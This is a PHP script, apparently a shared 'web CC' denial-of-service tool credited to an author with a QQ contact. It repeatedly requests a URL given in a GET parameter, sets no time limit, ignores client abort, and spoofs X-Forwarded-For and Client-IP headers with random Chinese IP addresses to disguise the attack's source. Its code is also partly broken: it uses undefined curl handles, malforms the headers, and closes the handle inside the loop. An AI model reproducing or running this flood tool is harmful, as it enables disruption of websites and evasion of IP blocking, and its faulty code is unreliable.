<?php
//phpcc=webcc
//第一代作者(原创):陌斯
//QQ2098175794
//连接时使用的IP统一为China境内IP(随机生成的)
//API连接完成=攻击结束
//参数?url=http://www.baidu.com/&cishu=6666
error_reporting(0);
set_time_limit(0);
ignore_user_abort(true);
$host=$_GET['url'];
$port=$_GET['cishu'];
$curl = curl_init();
$x=1;
while($x<=$port) {
$ip_long = array(
array('607649792', '608174079'),
array('1038614528', '1039007743'),
array('1783627776', '1784676351'),
array('2035023872', '2035154943'),
array('2078801920', '2079064063'),
array('-1950089216', '-1948778497'),
array('-1425539072', '-1425014785'),
array('-1236271104', '-1235419137'),
array('-770113536', '-768606209'),
array('-569376768', '-564133889'),
);
$rand_key = mt_rand(0, 9);
$ip= long2ip(mt_rand($ip_long[$rand_key][0], $ip_long[$rand_key][1]));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//绕过ssl验证
//设置抓取的url
curl_setopt($curl, CURLOPT_URL, $host);
//伪装IP
curl_setopt($ch2, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:',$ip, 'CLIENT-IP:',$ip));
//执行命令
$data = curl_exec($curl);
//执行并获取HTML文档内容
$output = curl_exec($curl);
//释放curl句柄
curl_close($curl);
curl_setopt($curl, CURLOPT_HEADER, 1);
//设置获取的信息以文件流的形式返回,而不是直接输出。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
echo "frequency:$x <br>IP:$ip<br>";
$x++;
}
//显示获得的数据
print_r($data);
?>